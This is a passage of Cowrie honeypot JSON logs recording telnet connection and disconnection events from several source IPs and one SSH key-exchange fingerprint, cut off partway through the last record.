{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":47494,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd9edb0bf882","protocol":"telnet","message":"New connection: 159.203.13.64:47494 (10.17.0.5:23) [session: dd9edb0bf882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:17.466419Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":32812,"dst_ip":"10.17.0.5","dst_port":23,"session":"57f7c191e83a","protocol":"telnet","message":"New connection: 152.53.125.71:32812 (10.17.0.5:23) [session: 57f7c191e83a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:18.303778Z"}
{"eventid":"cowrie.session.closed","duration":31.18759822845459,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:19.457144Z","src_ip":"152.53.125.71","session":"db5389b3c859","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":32828,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b00c0a11ab3","protocol":"telnet","message":"New connection: 152.53.125.71:32828 (10.17.0.5:23) [session: 7b00c0a11ab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:20.665772Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":37916,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca70e9892d85","protocol":"telnet","message":"New connection: 169.38.112.222:37916 (10.17.0.5:23) [session: ca70e9892d85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:21.570772Z"}
{"eventid":"cowrie.session.closed","duration":31.173081874847412,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:23.444794Z","src_ip":"152.53.125.71","session":"c8f9e3cd7bcf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.085582971572876,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:23.449992Z","src_ip":"152.53.125.71","session":"dabf70a588bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91271686553955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:23.480551Z","src_ip":"169.38.112.222","session":"31e8db8bf68c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":54332,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad0a2494e86a","protocol":"telnet","message":"New connection: 162.253.42.116:54332 (10.17.0.5:23) [session: ad0a2494e86a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:24.210651Z"}
{"eventid":"cowrie.session.closed","duration":30.70400047302246,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:25.289613Z","src_ip":"152.53.125.71","session":"9e16d35c5f11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":34458,"dst_ip":"10.17.0.5","dst_port":23,"session":"c698463cf15f","protocol":"telnet","message":"New connection: 152.53.125.71:34458 (10.17.0.5:23) [session: c698463cf15f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:25.393671Z"}
{"eventid":"cowrie.session.closed","duration":30.879290342330933,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:25.472459Z","src_ip":"152.53.125.71","session":"9a1600880583","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85058879852295,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:26.153094Z","src_ip":"152.53.125.71","session":"ed72d6902db9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.821380376815796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:27.093862Z","src_ip":"152.53.125.71","session":"29a134811dd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.750545263290405,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:27.292912Z","src_ip":"152.53.125.71","session":"08d88b0efc23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":34468,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a8efe35c1da","protocol":"telnet","message":"New connection: 152.53.125.71:34468 (10.17.0.5:23) [session: 5a8efe35c1da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:27.378432Z"}
{"eventid":"cowrie.session.closed","duration":30.780412912368774,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:27.404339Z","src_ip":"152.53.125.71","session":"d39398b4e5dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.055164337158203,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:27.450701Z","src_ip":"152.53.125.71","session":"0c2a41448ea9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.850942373275757,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:28.189229Z","src_ip":"152.53.125.71","session":"0c4110a556e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.3462872505188,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:28.667580Z","src_ip":"152.53.125.71","session":"9d2cef8428b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":34484,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f99c8946025","protocol":"telnet","message":"New connection: 152.53.125.71:34484 (10.17.0.5:23) [session: 9f99c8946025]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:29.377165Z"}
{"eventid":"cowrie.session.closed","duration":30.7875337600708,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:29.395155Z","src_ip":"152.53.125.71","session":"feebd827b1bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91062068939209,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:29.452108Z","src_ip":"152.53.125.71","session":"8bd25fb60a29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":34486,"dst_ip":"10.17.0.5","dst_port":23,"session":"69844b1c7d55","protocol":"telnet","message":"New connection: 152.53.125.71:34486 (10.17.0.5:23) [session: 69844b1c7d55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:29.517013Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":34498,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d368e5ec97a","protocol":"telnet","message":"New connection: 152.53.125.71:34498 (10.17.0.5:23) [session: 4d368e5ec97a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:29.539608Z"}
{"eventid":"cowrie.session.closed","duration":30.674058437347412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:29.561191Z","src_ip":"152.53.125.71","session":"047a684328c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.02829623222351,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:29.661340Z","src_ip":"159.203.13.64","session":"ea6a55de4032","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":34506,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb3c5b6cefb3","protocol":"telnet","message":"New connection: 152.53.125.71:34506 (10.17.0.5:23) [session: eb3c5b6cefb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:30.293673Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.209.221.12","src_port":18665,"dst_ip":"10.17.0.5","dst_port":23,"session":"462f8410d9c8","protocol":"telnet","message":"New connection: 102.209.221.12:18665 (10.17.0.5:23) [session: 462f8410d9c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:30.331560Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":49254,"dst_ip":"10.17.0.5","dst_port":23,"session":"6883d94bcbfc","protocol":"telnet","message":"New connection: 169.38.112.222:49254 (10.17.0.5:23) [session: 6883d94bcbfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:30.737536Z"}
{"eventid":"cowrie.session.closed","duration":31.62184238433838,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:31.009702Z","src_ip":"152.53.125.71","session":"b83792857931","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.017289400100708,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:31.346566Z","src_ip":"152.53.125.71","session":"b44a2d7d8ae3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.043665647506714,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:31.467545Z","src_ip":"152.53.125.71","session":"ba322310478f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":49258,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2635faaba84","protocol":"telnet","message":"New connection: 169.38.112.222:49258 (10.17.0.5:23) [session: d2635faaba84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:31.797659Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":34514,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8e2b542f6eb","protocol":"telnet","message":"New connection: 152.53.125.71:34514 (10.17.0.5:23) [session: f8e2b542f6eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:32.969392Z"}
{"eventid":"cowrie.session.closed","duration":31.143564701080322,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:33.412415Z","src_ip":"152.53.125.71","session":"861e7756bfab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":49270,"dst_ip":"10.17.0.5","dst_port":23,"session":"346f07f0f1f5","protocol":"telnet","message":"New connection: 169.38.112.222:49270 (10.17.0.5:23) [session: 346f07f0f1f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:33.529525Z"}
{"eventid":"cowrie.session.closed","duration":30.54171633720398,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:34.124019Z","src_ip":"169.38.112.222","session":"58feac71192e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.897480487823486,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:34.272007Z","src_ip":"152.53.125.71","session":"b5f2f278c56a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.45537090301514,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:34.674349Z","src_ip":"159.203.13.64","session":"63ca1a8e4a3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.560417652130127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:35.130534Z","src_ip":"169.38.112.222","session":"248e93658835","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.425662517547607,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:35.207719Z","src_ip":"152.53.125.71","session":"ccbcae4be010","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":49278,"dst_ip":"10.17.0.5","dst_port":23,"session":"eeb4545cc3a8","protocol":"telnet","message":"New connection: 169.38.112.222:49278 (10.17.0.5:23) [session: eeb4545cc3a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:35.586741Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":49292,"dst_ip":"10.17.0.5","dst_port":23,"session":"503d2f0218d6","protocol":"telnet","message":"New connection: 169.38.112.222:49292 (10.17.0.5:23) [session: 503d2f0218d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:35.791667Z"}
{"eventid":"cowrie.session.closed","duration":30.769211053848267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:38.051016Z","src_ip":"152.53.125.71","session":"750e34446d0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70067071914673,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:38.061704Z","src_ip":"152.53.125.71","session":"c8dbc4ce2fdd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":32822,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e2a4d6eff65","protocol":"telnet","message":"New connection: 152.53.125.71:32822 (10.17.0.5:23) [session: 0e2a4d6eff65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:39.397507Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":32824,"dst_ip":"10.17.0.5","dst_port":23,"session":"08b86e0c39d2","protocol":"telnet","message":"New connection: 152.53.125.71:32824 (10.17.0.5:23) [session: 08b86e0c39d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:39.416242Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":32836,"dst_ip":"10.17.0.5","dst_port":23,"session":"c65366f38c8e","protocol":"telnet","message":"New connection: 152.53.125.71:32836 (10.17.0.5:23) [session: c65366f38c8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:39.854244Z"}
{"eventid":"cowrie.session.closed","duration":30.941473484039307,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:40.416981Z","src_ip":"152.53.125.71","session":"e20d51b922ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":56320,"dst_ip":"10.17.0.5","dst_port":23,"session":"001a93d72b89","protocol":"telnet","message":"New connection: 169.38.112.222:56320 (10.17.0.5:23) [session: 001a93d72b89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:40.909913Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":32842,"dst_ip":"10.17.0.5","dst_port":23,"session":"524fdf073f4e","protocol":"telnet","message":"New connection: 152.53.125.71:32842 (10.17.0.5:23) [session: 524fdf073f4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:41.781811Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":56326,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a1707955e86","protocol":"telnet","message":"New connection: 169.38.112.222:56326 (10.17.0.5:23) [session: 3a1707955e86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:43.031584Z"}
{"eventid":"cowrie.session.closed","duration":30.753992795944214,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:43.303446Z","src_ip":"152.53.125.71","session":"7d104a629447","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.097540140151978,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:43.455798Z","src_ip":"152.53.125.71","session":"67d189f77c27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.631513595581055,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:44.060096Z","src_ip":"152.53.125.71","session":"b48f3dd62c48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":32848,"dst_ip":"10.17.0.5","dst_port":23,"session":"184810f93ce2","protocol":"telnet","message":"New connection: 152.53.125.71:32848 (10.17.0.5:23) [session: 184810f93ce2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:44.283533Z"}
{"eventid":"cowrie.session.closed","duration":30.632747650146484,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:44.539826Z","src_ip":"152.53.125.71","session":"4db8f6d9cb95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.544211864471436,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:44.875599Z","src_ip":"102.209.221.12","session":"462f8410d9c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":56338,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc904a350ffd","protocol":"telnet","message":"New connection: 169.38.112.222:56338 (10.17.0.5:23) [session: fc904a350ffd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:45.588399Z"}
{"eventid":"cowrie.session.closed","duration":30.97985339164734,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:47.347361Z","src_ip":"152.53.125.71","session":"5b8a1a702718","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":43492,"dst_ip":"10.17.0.5","dst_port":23,"session":"0dd07408ab36","protocol":"telnet","message":"New connection: 152.53.125.71:43492 (10.17.0.5:23) [session: 0dd07408ab36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:47.367476Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":41504,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd0599f8faeb","protocol":"telnet","message":"New connection: 169.38.112.222:41504 (10.17.0.5:23) [session: dd0599f8faeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:47.586743Z"}
{"eventid":"cowrie.session.closed","duration":31.138132095336914,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:48.462096Z","src_ip":"152.53.125.71","session":"8457803c999e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.022058486938477,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:49.325722Z","src_ip":"152.53.125.71","session":"57f7c191e83a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59111499786377,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:51.256763Z","src_ip":"152.53.125.71","session":"7b00c0a11ab3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":41508,"dst_ip":"10.17.0.5","dst_port":23,"session":"20f5c15c0ed4","protocol":"telnet","message":"New connection: 169.38.112.222:41508 (10.17.0.5:23) [session: 20f5c15c0ed4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:51.718134Z"}
{"eventid":"cowrie.session.closed","duration":40.648066997528076,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:51.755769Z","src_ip":"159.203.13.64","session":"816ba3120b78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.562099933624268,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:52.132747Z","src_ip":"169.38.112.222","session":"ca70e9892d85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":41514,"dst_ip":"10.17.0.5","dst_port":23,"session":"e48534cc55a9","protocol":"telnet","message":"New connection: 169.38.112.222:41514 (10.17.0.5:23) [session: e48534cc55a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:52.211347Z"}
{"eventid":"cowrie.session.closed","duration":40.31584095954895,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:52.962182Z","src_ip":"159.203.13.64","session":"3d46ef7187ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":43508,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2b21ed6771d","protocol":"telnet","message":"New connection: 152.53.125.71:43508 (10.17.0.5:23) [session: f2b21ed6771d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:53.436104Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":50836,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5003dcdd2fd","protocol":"telnet","message":"New connection: 159.203.13.64:50836 (10.17.0.5:23) [session: e5003dcdd2fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:53.488483Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":41522,"dst_ip":"10.17.0.5","dst_port":23,"session":"67548df8818e","protocol":"telnet","message":"New connection: 169.38.112.222:41522 (10.17.0.5:23) [session: 67548df8818e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:54.783493Z"}
{"eventid":"cowrie.session.closed","duration":38.185070276260376,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:55.348917Z","src_ip":"159.203.13.64","session":"1753b0e27538","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":41534,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5f21c36b487","protocol":"telnet","message":"New connection: 169.38.112.222:41534 (10.17.0.5:23) [session: c5f21c36b487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:55.632124Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34908,"dst_ip":"159.203.135.109","dst_port":22,"session":"1422d058c846","protocol":"ssh","message":"New connection: 159.203.92.129:34908 (159.203.135.109:22) [session: 1422d058c846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:55.724034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:12:55.729120Z","src_ip":"159.203.92.129","session":"1422d058c846","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa